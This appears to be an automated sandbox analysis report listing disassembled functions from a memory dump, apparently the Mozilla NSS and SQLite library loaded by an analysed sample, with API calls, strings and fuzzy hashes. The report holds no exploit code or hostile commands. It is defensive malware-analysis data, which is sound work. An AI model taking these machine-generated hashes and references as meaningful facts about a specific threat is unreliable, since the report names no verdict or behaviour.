Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: a02da7c18580de8a1edff27e8d8c58261bf1de5da9edee79c4663ddc44ea797a
Instruction ID: 81d6777c8bcb282dda142486c100f14d7c9676fdd00a79aa177ff2b5698a6f8d
Opcode Fuzzy Hash: a02da7c18580de8a1edff27e8d8c58261bf1de5da9edee79c4663ddc44ea797a
Instruction Fuzzy Hash: 3DA19472E001199BDB04CB69CC51B9EB7B5BF48328F094179DA15A7791E73AEC01CBE1

Function 6CBE0FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CBDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CC3F9C9,?,6CC3F4DA,6CC3F9C9,?,?,6CC0369A), ref: 6CBDCA7A
Part of subcall function 6CBDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CBDCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CBE103E
EnterCriticalSection.KERNEL32(?), ref: 6CBE1139
LeaveCriticalSection.KERNEL32(?), ref: 6CBE1190
sqlite3_free.NSS3(00000000), ref: 6CBE1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CBE126E
sqlite3_free.NSS3(?), ref: 6CBE127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CBE1267
winAccess, xrefs: 6CBE129B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: 7f93a63f55468dab8cdef3ea23859b5af2e9a5654e4849aa90aed8493fc0f98e
Instruction ID: eb8d589621de09dacaae6b957dd5a0480dd56d559dd03a5ce08865b5c9e10974
Opcode Fuzzy Hash: 7f93a63f55468dab8cdef3ea23859b5af2e9a5654e4849aa90aed8493fc0f98e
Instruction Fuzzy Hash: EB714A71745281DBFB04DF65EC95A6E3379FF8A7A4F280229EA1187A81DB30D801C797

Function 6CBEAEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CD0CF46,?,6CBDCDBD,?,6CD0BF31,?,?,?,?,?,?,?), ref: 6CBEB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CD0CF46,?,6CBDCDBD,?,6CD0BF31), ref: 6CBEB090
sqlite3_free.NSS3(?,?,?,?,?,?,6CD0CF46,?,6CBDCDBD,?,6CD0BF31), ref: 6CBEB0A2
CloseHandle.KERNEL32(?,?,6CD0CF46,?,6CBDCDBD,?,6CD0BF31,?,?,?,?,?,?,?,?,?), ref: 6CBEB100
sqlite3_free.NSS3(?,?,00000002,?,6CD0CF46,?,6CBDCDBD,?,6CD0BF31,?,?,?,?,?,?,?), ref: 6CBEB115
sqlite3_free.NSS3(?,?,?,?,?,?,6CD0CF46,?,6CBDCDBD,?,6CD0BF31), ref: 6CBEB12D

Part of subcall function 6CBD9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBEC6FD,?,?,?,?,6CC3F965,00000000), ref: 6CBD9F0E
Part of subcall function 6CBD9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CC3F965,00000000), ref: 6CBD9F5D

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 9cae8134b9972d0b53d0633a23faf042dba41a7195216ef50dadd7ddded93d4a
Instruction ID: 2e991accca27147e75c30ba2e79a093371a90517ce1f1ad85979ae3b5202dd19
Opcode Fuzzy Hash: 9cae8134b9972d0b53d0633a23faf042dba41a7195216ef50dadd7ddded93d4a
Instruction Fuzzy Hash: 7C91E3B0A043458FEB04CF65D884A6BBBB9FF49788F14462DE41697B50EB30E844CB96

Function 6CD68D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CDB14E4,6CD1CC70), ref: 6CD68D47
PR_GetCurrentThread.NSS3 ref: 6CD68D98

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD68E7B
htons.WSOCK32(?), ref: 6CD68EDB
PR_GetCurrentThread.NSS3 ref: 6CD68F99
PR_GetCurrentThread.NSS3 ref: 6CD6910A

Strings

%u.%u.%u.%u, xrefs: 6CD68E74

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 63c1a12ddeb982b9519b86f3942caafbc79afc8b8472d1fc61c05ea76b3679d2
Instruction ID: eea038986e9fc6ef77ea3b4c3418abe5666bbc54e364d4298822403b5c3c169e
Opcode Fuzzy Hash: 63c1a12ddeb982b9519b86f3942caafbc79afc8b8472d1fc61c05ea76b3679d2
Instruction Fuzzy Hash: D9027931905251CFDB18CF1AC86876ABBB2EF43314F29825BD8915BEB1C739D949C790

Function 6CCE68E0 Relevance: 12.2, APIs: 8, Instructions: 241COMMON

Download Yara Rule

APIs

PR_GetIdentitiesLayer.NSS3 ref: 6CCE68FC
PR_EnterMonitor.NSS3 ref: 6CCE6924

Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190AB
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190C9
Part of subcall function 6CD19090: EnterCriticalSection.KERNEL32 ref: 6CD190E5
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD19116
Part of subcall function 6CD19090: LeaveCriticalSection.KERNEL32 ref: 6CD1913F

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

PR_EnterMonitor.NSS3 ref: 6CCE693E
TlsGetValue.KERNEL32 ref: 6CCE6977
TlsGetValue.KERNEL32 ref: 6CCE69B8
PR_ExitMonitor.NSS3 ref: 6CCE6B1E
PR_ExitMonitor.NSS3 ref: 6CCE6B39
TlsGetValue.KERNEL32 ref: 6CCE6B62

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSectioncalloc$IdentitiesLayerLeave
String ID:
API String ID: 4003455268-0
Opcode ID: 5d2e8a50f0a2d5d8d0fd3ea63c66d42379d3d775fc86fa5d0411386a42461565
Instruction ID: a4041dacafbbfbd30abb491a80ef1c10fc9f319329c6b04c72f8de84555a746c
Opcode Fuzzy Hash: 5d2e8a50f0a2d5d8d0fd3ea63c66d42379d3d775fc86fa5d0411386a42461565
Instruction Fuzzy Hash: 7091B374668904CBDB80EF2EC48055D7BB2FB8B318B60C259CA84CFB19E775D881DB95

Function 6CBEEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

sqlite_temp_master, xrefs: 6CBEF0A6, 6CBEF2D5
table, xrefs: 6CBEF05C, 6CBEFABC, 6CBEFAC7
sqlite_master, xrefs: 6CBEF0AB, 6CBEF2DA, 6CBEF757, 6CBEF93E
authorizer malfunction, xrefs: 6CBEF95C, 6CBEF9BF, 6CBEFA5E, 6CBEFA8B
%s %T already exists, xrefs: 6CBEFAC8
view, xrefs: 6CBEF061, 6CBEF071, 6CBEFAB7
not authorized, xrefs: 6CBEF957, 6CBEF9BA
there is already an index named %s, xrefs: 6CBEF9D7
temporary table name must be unqualified, xrefs: 6CBEF734

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 2c88f0d0100ee44fac99d4ddc2724fa505359fa6ec71a2960da53e343510ab77
Instruction ID: f1c849ccd78811285f61ce842ce99244c28fc24ecf08e24e2f7048957d47bcf7
Opcode Fuzzy Hash: 2c88f0d0100ee44fac99d4ddc2724fa505359fa6ec71a2960da53e343510ab77
Instruction Fuzzy Hash: 3C72CF70E042858FDB14CF28D480BAABBF2FF4D748F1481A9D8159BB92D775E846CB91

Function 6CC709A0 Relevance: 11.0, APIs: 7, Instructions: 489memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC706A0: TlsGetValue.KERNEL32 ref: 6CC706C2
Part of subcall function 6CC706A0: EnterCriticalSection.KERNEL32(?), ref: 6CC706D6
Part of subcall function 6CC706A0: PR_Unlock.NSS3 ref: 6CC706EB

memcmp.VCRUNTIME140(00000000,6CC59B8A,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CC59B8A,00000000,6CC52D6B), ref: 6CC709D9
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C,?,?,?,?,?,?,00000000,00000000,?,?,6CC59B8A,00000000,6CC52D6B), ref: 6CC709F2
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC59B8A,00000000,6CC52D6B), ref: 6CC70A1C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC59B8A,00000000,6CC52D6B), ref: 6CC70A30
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CC59B8A,00000000,6CC52D6B), ref: 6CC70A48

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Alloc_ArenaUtilmemcmp
String ID:
API String ID: 115324291-0
Opcode ID: bf45e0730f1d5e48b3ef7a64d02b4f9ed61c96b98df12158d3e74a274ab85b04
Instruction ID: c95747c4f21a7737e3fc62449a458f001a4476559b34fb179c888ab2aff7c6c2
Opcode Fuzzy Hash: bf45e0730f1d5e48b3ef7a64d02b4f9ed61c96b98df12158d3e74a274ab85b04
Instruction Fuzzy Hash: 0E0202B1E002049FEB108F66DD81BAB77B9FF48358F140128E905A7B52F732E945CBA1

Function 6CCE6BE0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 196COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CCE6C2C

Part of subcall function 6CCE6E90: PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CCE6BF7), ref: 6CCE6EB6
Part of subcall function 6CCE6E90: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CD8FC0A,6CCE6BF7), ref: 6CCE6ECD
Part of subcall function 6CCE6E90: ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CCE6EE0
Part of subcall function 6CCE6E90: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CCE6EFC
Part of subcall function 6CCE6E90: PR_NewLock.NSS3 ref: 6CCE6F04
Part of subcall function 6CCE6E90: fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CCE6F18
Part of subcall function 6CCE6E90: PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CCE6BF7), ref: 6CCE6F30
Part of subcall function 6CCE6E90: PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CCE6BF7), ref: 6CCE6F54

TlsGetValue.KERNEL32 ref: 6CCE6D93
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CCE6BF7), ref: 6CCE6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CCE6BF7), ref: 6CCE6FFD

Strings

NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CCE6FDB
NSS_SSL_CBC_RANDOM_IV, xrefs: 6CCE6FF8

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Secure$Value$Lockfclosefopenftellfwrite
String ID: NSS_SSL_CBC_RANDOM_IV$NSS_SSL_REQUIRE_SAFE_NEGOTIATION
API String ID: 3032383292-3007362596
Opcode ID: 274a064ed0d5f53e9012146b0ab670feb271f201565c887efcad7122ab9432a5
Instruction ID: 73447142f15ae744ea6106c5a65e3e283d585d5de7cff528cdfeb4f83fac71c5
Opcode Fuzzy Hash: 274a064ed0d5f53e9012146b0ab670feb271f201565c887efcad7122ab9432a5
Instruction Fuzzy Hash: BC7110F17A894CCBEB289B2EC6A152437B9B75F358B404219CB538BFD1E6307442C71A

Function 6CC30820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6CC311D2

Strings

rows deleted, xrefs: 6CC317D2
authorizer malfunction, xrefs: 6CC31BD2
not authorized, xrefs: 6CC3175E, 6CC31763
@, xrefs: 6CC30B17

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset
String ID: @$authorizer malfunction$not authorized$rows deleted
API String ID: 2221118986-4041583037
Opcode ID: 1bb3bec229195fb729bc2b66d99b33b9a277d5e774745bcb22dee06865116bf0
Instruction ID: 985e245b2482d58caebd8d6c1c1552ede5381ddad461aaf554cfe0df19b1dbc5
Opcode Fuzzy Hash: 1bb3bec229195fb729bc2b66d99b33b9a277d5e774745bcb22dee06865116bf0
Instruction Fuzzy Hash: FDD28B70E04269CFDB15CFA9D480B9DBBF1BF49308F288169D419ABB51E771E856CB80

Function 6CCFC9E0 Relevance: 7.7, APIs: 5, Instructions: 187timeCOMMON

Download Yara Rule

APIs

PR_NormalizeTime.NSS3(00000000,?), ref: 6CCFCEA5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: NormalizeTime
String ID:
API String ID: 1467309002-0
Opcode ID: 8fd483b00101a6fe3255897c63d49a291038ac08ff931dad1fcde46a9dd3e5f6
Instruction ID: a2b221a9f52f9a8c9b1810d538e465a1400c0be3a1e207ec56afabc9251dd17e
Opcode Fuzzy Hash: 8fd483b00101a6fe3255897c63d49a291038ac08ff931dad1fcde46a9dd3e5f6
Instruction Fuzzy Hash: 7E718171A057418FC754CF29C48061ABBE5FF89324F258A2EE4B9C77A0E730D956CB91

Function 6CD6CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD6D086
PR_Malloc.NSS3(00000001), ref: 6CD6D0B9
PR_Free.NSS3(?), ref: 6CD6D138

Strings

>, xrefs: 6CD6CF5B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: fa89f643de93004917eceb59605447384907c2b68ccc62aff0d206c6f68ebe90
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: B1D15862B416464BEF144A7B98A13EA77938782374F780326D1A18BFF5E65DC883C341

Function 6CD0AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f38fad8667adeb6ed17111dee7274b9b9f4af7b5d4048423ec5fb3cc02027e01
Instruction ID: 28f69c6b25451004383b36b1c699edf1436e2cd35b7546f8ca276d58b6e3f4b4
Opcode Fuzzy Hash: f38fad8667adeb6ed17111dee7274b9b9f4af7b5d4048423ec5fb3cc02027e01
Instruction Fuzzy Hash: 02F1DFB1F05256CBEB04CFADD8513AE77B8AB8A308F15422DCA05D7BA0E7749951CBC4

Function 6CC36900 Relevance: 6.3, Strings: 4, Instructions: 1257COMMON

Download Yara Rule

Strings

sqlite\_%, xrefs: 6CC36953
BBB, xrefs: 6CC37207, 6CC3780B
authorizer malfunction, xrefs: 6CC37910
not authorized, xrefs: 6CC378EC, 6CC378F1

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: BBB$authorizer malfunction$not authorized$sqlite\_%
API String ID: 3412268980-2664116055
Opcode ID: efda9681fd9a4323cb7e66c8ed50ebc496b9136cfb20dbd6474a76eec78d18d0
Instruction ID: dfc409425bc9086e3fa922753dfd78b565a83ce76649f58dfcf4d474817d0bff
Opcode Fuzzy Hash: efda9681fd9a4323cb7e66c8ed50ebc496b9136cfb20dbd6474a76eec78d18d0
Instruction Fuzzy Hash: 78C28174A00215CFCB14CF59D480AADBBF2FF89308F2481ADD919AB751E736A956CF90

Function 6CBE6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

sz=[0-9]*, xrefs: 6CBE7049
*?[, xrefs: 6CBE7034, 6CBE7052, 6CBE7070
unordered*, xrefs: 6CBE702B
noskipscan*, xrefs: 6CBE7067

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID:
